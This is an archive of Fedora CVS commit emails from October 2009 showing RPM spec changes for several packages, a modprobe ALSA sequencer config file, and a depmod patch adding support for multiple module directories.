Author: rdieter

Update of /cvs/pkgs/rpms/Macaulay2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3813

Modified Files:
	Macaulay2.spec 
Log Message:
re-enable pari (--disable-pari busted)



Index: Macaulay2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Macaulay2/F-12/Macaulay2.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- Macaulay2.spec	20 Oct 2009 23:35:24 -0000	1.56
+++ Macaulay2.spec	21 Oct 2009 00:36:25 -0000	1.57
@@ -46,7 +46,7 @@ BuildRequires: libfac-devel >= 3.1
 BuildRequires: lapack-devel
 BuildRequires: mpfr-devel
 BuildRequires: ntl-devel >= 5.4.1
-#BuildRequires: pari-devel
+BuildRequires: pari-devel
 BuildRequires: readline-devel ncurses-devel
 BuildRequires: time
 
@@ -97,8 +97,7 @@ CXXFLAGS="%{optflags}" \
   --enable-shared \
   --disable-strip \
   --disable-building \
-  --disable-frobby \
-  --disable-pari
+  --disable-frobby 
 
 # Not smp-safe
 make 
@@ -211,7 +210,6 @@ fi
 %changelog
 * Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-7.r8438
 - Macaulay-1.2-r8438
-- drop pari support (for now)
 
 * Tue Sep 22 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-6
 - fixup/optimize scriplets



From mclasen at fedoraproject.org  Wed Oct 21 00:49:29 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 21 Oct 2009 00:49:29 +0000 (UTC)
Subject: rpms/gtk-vnc/F-12 gtk-vnc.spec,1.40,1.41
Message-ID: <20091021004929.99BEE11C0081@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk-vnc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30531

Modified Files:
	gtk-vnc.spec 
Log Message:
try again



Index: gtk-vnc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk-vnc/F-12/gtk-vnc.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- gtk-vnc.spec	21 Oct 2009 00:16:34 -0000	1.40
+++ gtk-vnc.spec	21 Oct 2009 00:49:29 -0000	1.41
@@ -16,6 +16,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 URL: http://live.gnome.org/gtk-vnc
 BuildRequires: gtk2-devel pygtk2-devel python-devel zlib-devel
 BuildRequires: gnutls-devel cyrus-sasl-devel
+BuildRequires: intltool
 %if %{with_plugin}
 %if 0%{?fedora} > 8
 BuildRequires: xulrunner-devel



From mclasen at fedoraproject.org  Wed Oct 21 01:27:41 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 21 Oct 2009 01:27:41 +0000 (UTC)
Subject: rpms/gtk-vnc/F-12 gtk-vnc.spec,1.41,1.42
Message-ID: <20091021012741.7D8FA11C0081@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk-vnc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31399

Modified Files:
	gtk-vnc.spec 
Log Message:
last try



Index: gtk-vnc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk-vnc/F-12/gtk-vnc.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- gtk-vnc.spec	21 Oct 2009 00:49:29 -0000	1.41
+++ gtk-vnc.spec	21 Oct 2009 01:27:39 -0000	1.42
@@ -90,6 +90,8 @@ rm -f %{buildroot}%{_libdir}/mozilla/plu
 rm -f %{buildroot}%{_libdir}/mozilla/plugins/%{name}-plugin.la
 %endif
 
+%find_lang gtk-vnc
+
 %clean
 rm -fr %{buildroot}
 
@@ -97,7 +99,7 @@ rm -fr %{buildroot}
 
 %postun -p /sbin/ldconfig
 
-%files
+%files -f gtk-vnc.lang
 %defattr(-, root, root)
 %doc AUTHORS ChangeLog NEWS README COPYING.LIB
 %{_libdir}/lib*.so.*



From cwickert at fedoraproject.org  Wed Oct 21 01:37:06 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Wed, 21 Oct 2009 01:37:06 +0000 (UTC)
Subject: rpms/xfbib/F-10 xfbib.spec,1.3,1.4
Message-ID: <20091021013706.A994211C0081@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfbib/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2806/F-10

Modified Files:
	xfbib.spec 
Log Message:
fix description


Index: xfbib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfbib/F-10/xfbib.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- xfbib.spec	1 Jul 2008 00:00:23 -0000	1.3
+++ xfbib.spec	21 Oct 2009 01:37:05 -0000	1.4
@@ -18,7 +18,7 @@ Xfbib is a lightweight BibTeX editor dev
 environment. The intention of Xfbib is to provide an easy and efficient way 
 of editing BibTeX files. 
 
-%description(de):
+%description -l de
 Xfbib ist ein schlanker BibTex Editor, der f?r die Xfce Desktop-Umgebung 
 entwickelt wird. Das Ziel von Xfbib ist es, einen einfachen und effizienten 
 Weg zum Bearbeiteiten von BibTeX Dateien zur Verf?gung zu stellen.



From cwickert at fedoraproject.org  Wed Oct 21 01:37:08 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Wed, 21 Oct 2009 01:37:08 +0000 (UTC)
Subject: rpms/xfbib/F-11 xfbib.spec,1.4,1.5
Message-ID: <20091021013709.014CE11C0081@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfbib/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2806/F-11

Modified Files:
	xfbib.spec 
Log Message:
fix description


Index: xfbib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfbib/F-11/xfbib.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- xfbib.spec	26 Feb 2009 08:37:26 -0000	1.4
+++ xfbib.spec	21 Oct 2009 01:37:06 -0000	1.5
@@ -18,7 +18,7 @@ Xfbib is a lightweight BibTeX editor dev
 environment. The intention of Xfbib is to provide an easy and efficient way 
 of editing BibTeX files. 
 
-%description(de):
+%description -l de
 Xfbib ist ein schlanker BibTex Editor, der f?r die Xfce Desktop-Umgebung 
 entwickelt wird. Das Ziel von Xfbib ist es, einen einfachen und effizienten 
 Weg zum Bearbeiteiten von BibTeX Dateien zur Verf?gung zu stellen.



From cwickert at fedoraproject.org  Wed Oct 21 01:37:09 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Wed, 21 Oct 2009 01:37:09 +0000 (UTC)
Subject: rpms/xfbib/F-12 xfbib.spec,1.5,1.6
Message-ID: <20091021013709.DE7F111C0081@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfbib/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2806/F-12

Modified Files:
	xfbib.spec 
Log Message:
fix description


Index: xfbib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfbib/F-12/xfbib.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- xfbib.spec	27 Jul 2009 07:48:46 -0000	1.5
+++ xfbib.spec	21 Oct 2009 01:37:08 -0000	1.6
@@ -18,7 +18,7 @@ Xfbib is a lightweight BibTeX editor dev
 environment. The intention of Xfbib is to provide an easy and efficient way 
 of editing BibTeX files. 
 
-%description(de):
+%description -l de
 Xfbib ist ein schlanker BibTex Editor, der f?r die Xfce Desktop-Umgebung 
 entwickelt wird. Das Ziel von Xfbib ist es, einen einfachen und effizienten 
 Weg zum Bearbeiteiten von BibTeX Dateien zur Verf?gung zu stellen.



From cwickert at fedoraproject.org  Wed Oct 21 01:37:11 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Wed, 21 Oct 2009 01:37:11 +0000 (UTC)
Subject: rpms/xfbib/devel xfbib.spec,1.5,1.6
Message-ID: <20091021013711.8F13F11C0081@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfbib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2806/devel

Modified Files:
	xfbib.spec 
Log Message:
fix description


Index: xfbib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfbib/devel/xfbib.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- xfbib.spec	27 Jul 2009 07:48:46 -0000	1.5
+++ xfbib.spec	21 Oct 2009 01:37:09 -0000	1.6
@@ -18,7 +18,7 @@ Xfbib is a lightweight BibTeX editor dev
 environment. The intention of Xfbib is to provide an easy and efficient way 
 of editing BibTeX files. 
 
-%description(de):
+%description -l de
 Xfbib ist ein schlanker BibTex Editor, der f?r die Xfce Desktop-Umgebung 
 entwickelt wird. Das Ziel von Xfbib ist es, einen einfachen und effizienten 
 Weg zum Bearbeiteiten von BibTeX Dateien zur Verf?gung zu stellen.



From alexlan at fedoraproject.org  Wed Oct 21 02:23:37 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Wed, 21 Oct 2009 02:23:37 +0000 (UTC)
Subject: rpms/mathgl/F-11 mathgl.spec,1.1,1.2
Message-ID: <20091021022337.C325111C008C@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/pkgs/rpms/mathgl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20936

Modified Files:
	mathgl.spec 
Log Message:
* Tue Oct 20 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 1.9-6.1
- Rebuild for new Octave 3.2.x and new SWIG (#529522)



Index: mathgl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mathgl/F-11/mathgl.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- mathgl.spec	14 Sep 2009 10:49:18 -0000	1.1
+++ mathgl.spec	21 Oct 2009 02:23:37 -0000	1.2
@@ -1,7 +1,7 @@
 %{!?octave_api:%global octave_api %(octave-config -p API_VERSION || echo 0)}
 Name: mathgl
 Version: 1.9
-Release: 6%{?dist}
+Release: 6%{?dist}.1
 Summary: Cross-platform library for making high-quality scientific graphics
 Summary(ru): MathGL - ??? ?????????? ??? ????????????? ?????????????????? ???????????? ??????
 License: GPLv2+
@@ -199,6 +199,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc texinfo/docs/*
 
 %changelog
+* Tue Oct 20 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 1.9-6.1
+- Rebuild for new Octave 3.2.x and new SWIG (#529522)
+
 * Mon Sep 14 2009 <mycae(a!t)yahoo.com> 1.9-6
 - Add COPYING to doc
 



From jcollie at fedoraproject.org  Wed Oct 21 04:01:47 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Wed, 21 Oct 2009 04:01:47 +0000 (UTC)
Subject: rpms/libpri/devel .cvsignore, 1.9, 1.10 libpri.spec, 1.18,
	1.19 sources, 1.9, 1.10
Message-ID: <20091021040149.24AD011C029E@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/libpri/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12341

Modified Files:
	.cvsignore libpri.spec sources 
Log Message:
* Tue Oct 20 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.4.10.2-1
- Update to libpri 1.4.10.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libpri/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	24 Apr 2009 14:05:56 -0000	1.9
+++ .cvsignore	21 Oct 2009 04:01:37 -0000	1.10
@@ -1 +1 @@
-libpri-1.4.10.tar.gz
+libpri-1.4.10.2.tar.gz


Index: libpri.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libpri/devel/libpri.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- libpri.spec	25 Jul 2009 08:29:02 -0000	1.18
+++ libpri.spec	21 Oct 2009 04:01:38 -0000	1.19
@@ -1,7 +1,7 @@
 Summary: An implementation of Primary Rate ISDN
 Name: libpri
-Version: 1.4.10
-Release: 2%{?dist}
+Version: 1.4.10.2
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
 URL: http://www.asterisk.org/
@@ -57,6 +57,9 @@ rm -rf %{buildroot}
 %{_libdir}/libpri.so
 
 %changelog
+* Tue Oct 20 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.4.10.2-1
+- Update to libpri 1.4.10.2
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.10-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libpri/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	24 Apr 2009 14:05:56 -0000	1.9
+++ sources	21 Oct 2009 04:01:38 -0000	1.10
@@ -1 +1 @@
-2a80f0cea1271f3143aaad57c5de42e6  libpri-1.4.10.tar.gz
+dc1523d8ee027cd62f20fc6cc9727489  libpri-1.4.10.2.tar.gz



From jcm at fedoraproject.org  Wed Oct 21 04:21:03 2009
From: jcm at fedoraproject.org (Jon Masters)
Date: Wed, 21 Oct 2009 04:21:03 +0000 (UTC)
Subject: rpms/module-init-tools/F-12 modprobe-dist-alsa.conf, NONE,
	1.1 module-init-tools.spec, 1.90, 1.91
Message-ID: <20091021042103.934F411C00E8@cvs1.fedora.phx.redhat.com>

Author: jcm

Update of /cvs/pkgs/rpms/module-init-tools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9822

Modified Files:
	module-init-tools.spec 
Added Files:
	modprobe-dist-alsa.conf 
Log Message:
Fix handling of the sequencer interface.
Resolves: #505421.



--- NEW FILE modprobe-dist-alsa.conf ---
# ALSA Sound Support
#
# We want to ensure that snd-seq is always loaded for those who want to use
# the sequencer interface, but we can't do this automatically through udev
# at the moment...so we have this rule (just for the moment).
#
# Remove the following line if you don't want the sequencer.

install snd-pcm /sbin/modprobe --ignore-install snd-pcm && /sbin/modprobe snd-seq


Index: module-init-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/module-init-tools/F-12/module-init-tools.spec,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- module-init-tools.spec	16 Sep 2009 04:19:45 -0000	1.90
+++ module-init-tools.spec	21 Oct 2009 04:21:03 -0000	1.91
@@ -2,7 +2,7 @@ Summary: Kernel module management utilit
 Name: module-init-tools
 Version: 3.9
 #define PreRelease
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 Group: System Environment/Kernel
 #Source: http://www.kernel.org/pub/linux/utils/kernel/module-init-tools/module-init-tools-%{version}%{PreRelease}.tar.bz2
@@ -13,6 +13,7 @@ Source2: modprobe-dist.conf
 Source3: weak-modules
 Source4: depmod-dist.conf
 Source5: modprobe-dist-oss.conf
+Source6: modprobe-dist-alsa.conf
 Exclusiveos: Linux
 Prereq: /sbin/chkconfig sh-utils
 Obsoletes: modutils-devel modutils
@@ -51,6 +52,7 @@ mkdir -p $RPM_BUILD_ROOT/etc
 mkdir -p $RPM_BUILD_ROOT/etc/modprobe.d
 install -m 644 %{SOURCE2} $RPM_BUILD_ROOT/etc/modprobe.d/dist.conf
 install -m 644 %{SOURCE5} $RPM_BUILD_ROOT/etc/modprobe.d/dist-oss.conf
+install -m 644 %{SOURCE6} $RPM_BUILD_ROOT/etc/modprobe.d/dist-alsa.conf
 install -m 755 %{SOURCE3} $RPM_BUILD_ROOT/sbin/weak-modules
 
 mkdir -p $RPM_BUILD_ROOT/etc/depmod.d
@@ -85,6 +87,10 @@ fi
 %ghost %config(noreplace) %verify(not md5 size mtime) /etc/modprobe.d/local.conf
 
 %changelog
+* Wed Oct 21 2009 Jon Masters <jcm at redhat.com> -3.9-4
+- Update support for the sequencer interface.
+- Resolves: #505421.
+
 * Wed Sep 16 2009 Jon Masters <jcm at redhat.com> -3.9-3
 - Sync weak-modules with RHEL.
 



From jcm at fedoraproject.org  Wed Oct 21 04:44:45 2009
From: jcm at fedoraproject.org (Jon Masters)
Date: Wed, 21 Oct 2009 04:44:45 +0000 (UTC)
Subject: rpms/module-init-tools/devel modprobe-dist-alsa.conf, NONE,
	1.1 module-init-tools-3.11.1-multi_moddirs.patch, NONE,
	1.1 .cvsignore, 1.23, 1.24 module-init-tools.spec, 1.91,
	1.92 sources, 1.25,
	1.26 module-init-tools-3.10-multi_moddirs.patch, 1.1, NONE
Message-ID: <20091021044445.1EB9F11C00E8@cvs1.fedora.phx.redhat.com>

Author: jcm

Update of /cvs/pkgs/rpms/module-init-tools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16176

Modified Files:
	.cvsignore module-init-tools.spec sources 
Added Files:
	modprobe-dist-alsa.conf 
	module-init-tools-3.11.1-multi_moddirs.patch 
Removed Files:
	module-init-tools-3.10-multi_moddirs.patch 
Log Message:
Bump to the latest upstream release, and include a fix for sequencer support.



--- NEW FILE modprobe-dist-alsa.conf ---
# ALSA Sound Support
#
# We want to ensure that snd-seq is always loaded for those who want to use
# the sequencer interface, but we can't do this automatically through udev
# at the moment...so we have this rule (just for the moment).
#
# Remove the following line if you don't want the sequencer.

install snd-pcm /sbin/modprobe --ignore-install snd-pcm && /sbin/modprobe snd-seq

module-init-tools-3.11.1-multi_moddirs.patch:
 depmod.c             |  208 +++++++++++++++++++++++++++++++++++++++++++++------
 doc/depmod.conf.sgml |   20 ++++
 2 files changed, 204 insertions(+), 24 deletions(-)

--- NEW FILE module-init-tools-3.11.1-multi_moddirs.patch ---
diff -urNp module-init-tools-3.11.1/depmod.c module-init-tools-3.11.1_new/depmod.c
--- module-init-tools-3.11.1/depmod.c	2009-10-13 11:56:44.000000000 +0100
+++ module-init-tools-3.11.1_new/depmod.c	2009-10-21 05:41:27.728874140 +0100
@@ -36,6 +36,10 @@
 #define MODULE_DIR "/lib/modules/"
 #endif
 
+#ifndef CURRENT_KERNEL_KEY
+#define CURRENT_KERNEL_KEY "current-kernel"
+#endif
+
 #ifndef MODULE_BUILTIN_KEY
 #define MODULE_BUILTIN_KEY "built-in"
 #endif
@@ -49,6 +53,16 @@ struct module_overrides
 	char *modfile;
 };
 
+struct module_path
+{
+	/* Next path */
+	struct module_path *next;
+
+	/* module path */
+	char *path;
+	size_t len;
+};
+
 struct module_search
 {
 	/* Next search */
@@ -621,21 +635,28 @@ static struct module *grab_dir(const cha
 	return next;
 }
 
-static struct module *grab_basedir(const char *dirname,
+static struct module *grab_basedir(struct module_path *modpaths,
 				   struct module_search *search,
 				   struct module_overrides *overrides)
 {
 	DIR *dir;
 	struct module *list;
+	struct module_path *mod_path;
 
-	dir = opendir(dirname);
-	if (!dir) {
-		warn("Couldn't open directory %s: %s\n",
-		     dirname, strerror(errno));
-		return NULL;
+	for (mod_path = modpaths; mod_path != NULL;
+	     mod_path = mod_path->next) {
+	
+		dir = opendir(mod_path->path);
+		if (!dir) {
+			warn("Couldn't open directory %s: %s\n",
+		    	 mod_path->path, strerror(errno));
+			continue;
+		} else {
+			list = grab_dir(mod_path->path, dir, list, do_module,
+					search, overrides);
+			closedir(dir);
+		}
 	}
-	list = grab_dir(dirname, dir, NULL, do_module, search, overrides);
-	closedir(dir);
 
 	return list;
 }
@@ -1030,6 +1051,22 @@ static char *strsep_skipspace(char **str
 	return strsep(string, delim);
 }
 
+static struct module_path *add_path(const char *path,
+				    size_t len,
+				    struct module_path *paths)
+{
+
+	struct module_path *new;
+	
+	new = NOFAIL(malloc(sizeof(*new)));
+	new->path = NOFAIL(strdup(path));
+	new->len = len;
+	new->next = paths;
+
+	return new;
+	
+}
+
 static struct module_search *add_search(const char *search_path,
 					size_t len,
 					struct module_search *search)
@@ -1046,6 +1083,42 @@ static struct module_search *add_search(
 	
 }
 
+static struct module_search *add_search_tail(const char *search_path,
+					     size_t len,
+					     struct module_search *search)
+{
+
+	struct module_search *new;
+	struct module_search *last;
+
+	new = NOFAIL(malloc(sizeof(*new)));
+	new->search_path = NOFAIL(strdup(search_path));
+	new->len = len;
+	new->next = NULL;
+
+	if (!search) {
+		search = new;
+	} else {
+		for (last = search; (last != NULL) && (last->next != NULL);
+	     	     last = last->next);
+		last->next = new;
+	}
+
+	return search;
+}
+
+struct module_search *free_search(struct module_search *search)
+{
+	if (search) {
+		free_search(search->next);
+		free(search->search_path);
+		free(search);
+		search = NULL;
+	}
+
+	return NULL;
+}
+
 static struct module_overrides *add_override(const char *modfile,
 					     struct module_overrides *overrides)
 {
@@ -1063,12 +1136,14 @@ static struct module_overrides *add_over
 static int parse_config_scan(const char *filename,
 			     const char *basedir,
 			     const char *kernelversion,
+			     struct module_path **modpaths,
 			     struct module_search **search,
 			     struct module_overrides **overrides);
 
 static int parse_config_file(const char *filename,
 			     const char *basedir,
 			     const char *kernelversion,
+			     struct module_path **modpaths,
 			     struct module_search **search,
 			     struct module_overrides **overrides)
 {
@@ -1095,7 +1170,30 @@ static int parse_config_file(const char 
 			continue;
 		}
 
-		if (streq(cmd, "search")) {
+		if (streq(cmd, "path")) {
+			char *mod_path, *sstr;
+
+			while ((mod_path = strsep_skipspace(&ptr, "\t "))) {
+
+				if ((sstr = strstr(mod_path,
+						 CURRENT_KERNEL_KEY))) {
+					char *new_path;
+
+					sstr[0] = '\0';
+					nofail_asprintf(&new_path, "%s%s%s",
+					     mod_path,
+					     kernelversion,
+					     &sstr[strlen(CURRENT_KERNEL_KEY)]);
+					*modpaths = add_path(new_path,
+							     strlen(new_path),
+							     *modpaths);
+				} else {
+					*modpaths = add_path(mod_path,
+							     strlen(mod_path),
+							     *modpaths);
+				}
+			}
+		} else if (streq(cmd, "search")) {
 			char *search_path;
 			
 			while ((search_path = strsep_skipspace(&ptr, "\t "))) {
@@ -1108,8 +1206,8 @@ static int parse_config_file(const char 
 							     0, *search);
 					continue;
 				}
-				nofail_asprintf(&dirname, "%s%s%s/%s", basedir,
-					MODULE_DIR, kernelversion, search_path);
+				nofail_asprintf(&dirname, "%s",
+						search_path);
 				len = strlen(dirname);
 				*search = add_search(dirname, len, *search);
 				free(dirname);
@@ -1142,9 +1240,12 @@ static int parse_config_file(const char 
 					warn("\"include /etc/depmod.d\" is "
 					     "the default, ignored\n");
 				} else {
-					if (!parse_config_scan(newfilename, basedir,
+					if (!parse_config_scan(newfilename,
+							       basedir,
 							       kernelversion,
-							       search, overrides))
+							       modpaths,
+							       search,
+							       overrides))
 					warn("Failed to open included"
 					     " config file %s: %s\n",
 					     newfilename, strerror(errno));
@@ -1176,6 +1277,7 @@ static int parse_config_file(const char 
 static int parse_config_scan(const char *filename,
 			     const char *basedir,
 			     const char *kernelversion,
+			     struct module_path **modpaths,
 			     struct module_search **search,
 			     struct module_overrides **overrides)
 {
@@ -1223,7 +1325,7 @@ static int parse_config_scan(const char 
 
 			nofail_asprintf(&cfgfile, "%s/%s", filename, fe->name);
 			if (!parse_config_file(cfgfile, basedir, kernelversion,
-					       search, overrides))
+					       modpaths, search, overrides))
 				warn("Failed to open config file "
 				     "%s: %s\n", fe->name, strerror(errno));
 			free(cfgfile);
@@ -1233,8 +1335,8 @@ static int parse_config_scan(const char 
 
 		ret = 1;
 	} else {
-		if (parse_config_file(filename, basedir, kernelversion, search,
-				      overrides))
+		if (parse_config_file(filename, basedir, kernelversion,
+				      modpaths, search, overrides))
 			ret = 1;
 	}
 
@@ -1244,12 +1346,13 @@ static int parse_config_scan(const char 
 static void parse_toplevel_config(const char *filename,
 				  const char *basedir,
 				  const char *kernelversion,
+				  struct module_path **modpaths,
 				  struct module_search **search,
 				  struct module_overrides **overrides)
 {
 	if (filename) {
-		if (!parse_config_scan(filename, basedir, kernelversion, search,
-				 overrides))
+		if (!parse_config_scan(filename, basedir, kernelversion,
+				       modpaths, search, overrides))
 			fatal("Failed to open config file %s: %s\n",
 			      filename, strerror(errno));
 		return;
@@ -1257,19 +1360,59 @@ static void parse_toplevel_config(const 
 
 	/* deprecated config file */
 	if (parse_config_file("/etc/depmod.conf", basedir, kernelversion,
-			      search, overrides) > 0)
+			      modpaths, search, overrides) > 0)
 		warn("Deprecated config file /etc/depmod.conf, "
 		      "all config files belong into /etc/depmod.d/.\n");
 
 	/* default config */
 	parse_config_scan("/etc/depmod.d", basedir, kernelversion,
-			  search, overrides);
+			  modpaths, search, overrides);
+}
+
+static struct module_search *expand_search_paths(struct module_search *search,
+					  struct module_path *modpaths)
+{
+	struct module_path *mod_path;
+	struct module_search *new_search, *tmp_search;
+	char *new_path;
+	ssize_t len;
+	int done_builtin = 0;
+
+	for (tmp_search = search; tmp_search != NULL;
+	     tmp_search = tmp_search->next) {
+		for (mod_path = modpaths; mod_path != NULL;
+		     mod_path = mod_path->next) {
+			
+			if (streq(tmp_search->search_path,
+				  MODULE_BUILTIN_KEY)) {
+				if (!done_builtin) {
+				done_builtin = 1;
+				new_search = add_search_tail(MODULE_BUILTIN_KEY,
+							     0, new_search);
+				}
+			} else {
+				nofail_asprintf(&new_path, "%s/%s",
+						mod_path->path,
+						tmp_search->search_path);
+				len = strlen(new_path);
+				new_search = add_search_tail(new_path, len,
+							     new_search);
+				free(new_path);
+			}
+		}
+	}
+
+	/* free old list */
+	search = free_search(search);
+
+	return new_search;
 }
 
 /* Local to main, but not freed on exit.  Keep valgrind quiet. */
 struct module *list = NULL;
 struct module_search *search = NULL;
 struct module_overrides *overrides = NULL;
+struct module_path *modpaths = NULL;
 
 int main(int argc, char *argv[])
 {
@@ -1375,7 +1518,22 @@ int main(int argc, char *argv[])
 		all = 1;
 	}
 
-	parse_toplevel_config(config, basedir, version, &search, &overrides);
+	parse_toplevel_config(config, basedir, version,
+			      &modpaths, &search, &overrides);
+
+	/* For backward compatibility add the current kernel to the head of
+         * the path list here. But only if no "path" option specified.
+         */
+	if (!modpaths) {
+		char *mod_path;
+		size_t len;
+
+		nofail_asprintf(&mod_path, "%s%s%s", basedir,
+				MODULE_DIR, version);
+		
+		len = strlen(mod_path);
+		modpaths = add_path(mod_path, len, modpaths);
+	}
 
 	/* For backward compatibility add "updates" to the head of the search
 	 * list here. But only if there was no "search" option specified.
@@ -1384,11 +1542,13 @@ int main(int argc, char *argv[])
 		char *dirname;
 		size_t len;
 
-		nofail_asprintf(&dirname, "%s%s%s/updates", basedir,
-				MODULE_DIR, version);
+		nofail_asprintf(&dirname, "updates");
 		len = strlen(dirname);
 		search = add_search(dirname, len, search);
 	}
+
+	search = expand_search_paths(search, modpaths);
+
 	if (!all) {
 		/* Do command line args. */
 		for (opt = optind; opt < argc; opt++) {
@@ -1407,7 +1567,7 @@ int main(int argc, char *argv[])
 			list = new;
 		}
 	} else {
-		list = grab_basedir(dirname,search,overrides);
+		list = grab_basedir(modpaths,search,overrides);
 	}
 	list = sort_modules(dirname,list);
 	list = parse_modules(list);
diff -urNp module-init-tools-3.11.1/doc/depmod.conf.sgml module-init-tools-3.11.1_new/doc/depmod.conf.sgml
--- module-init-tools-3.11.1/doc/depmod.conf.sgml	2009-10-13 11:56:44.000000000 +0100
+++ module-init-tools-3.11.1_new/doc/depmod.conf.sgml	2009-10-21 05:41:27.728874140 +0100
@@ -51,6 +51,26 @@
     <title>COMMANDS</title>
     <variablelist>
       <varlistentry>
+        <term>path <replaceable>subdirectory...</replaceable>
+        </term>
+        <listitem>
+          <para>
+            This allows you to specify additional directories (other than
+            the default of /lib/modules) that will be searched and indexed
+            for available modules by <command>depmod</command>. This option
+            can be used in combination with the <command>search</command>
+            option (which configures behavior within a given directory
+            specified using the <command>path</command> option).
+          </para>
+          <para>
+            By default, <command>depmod</command> will search the standard
+            system /lib/modules/kernelversion directory for modules, but
+            you can use this option to have it index additional directories
+            that may be on an entirely different filesystem.
+          </para>
+        </listitem>
+      </varlistentry>
+      <varlistentry>
         <term>search <replaceable>subdirectory...</replaceable>
         </term>
 	<listitem>


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/module-init-tools/devel/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	1 Oct 2009 23:39:45 -0000	1.23
+++ .cvsignore	21 Oct 2009 04:44:44 -0000	1.24
@@ -1,2 +1,2 @@
-module-init-tools-3.10.tar.bz2
-module-init-tools-3.10.tar.bz2.sign
+module-init-tools-3.11.1.tar.bz2
+module-init-tools-3.11.1.tar.bz2.sign


Index: module-init-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/module-init-tools/devel/module-init-tools.spec,v
retrieving revision 1.91
retrieving revision 1.92
diff -u -p -r1.91 -r1.92
--- module-init-tools.spec	1 Oct 2009 23:39:46 -0000	1.91
+++ module-init-tools.spec	21 Oct 2009 04:44:44 -0000	1.92
@@ -1,6 +1,6 @@
 Summary: Kernel module management utilities.
 Name: module-init-tools
-Version: 3.10
+Version: 3.11.1
 #define PreRelease
 Release: 1%{?dist}
 License: GPLv2+
@@ -13,7 +13,8 @@ Source2: modprobe-dist.conf
 Source3: weak-modules
 Source4: depmod-dist.conf
 Source5: modprobe-dist-oss.conf
-Patch0: module-init-tools-3.10-multi_moddirs.patch
+Source6: modprobe-dist-alsa.conf
+Patch0: module-init-tools-3.11.1-multi_moddirs.patch
 Exclusiveos: Linux
 Prereq: /sbin/chkconfig sh-utils
 Obsoletes: modutils-devel modutils
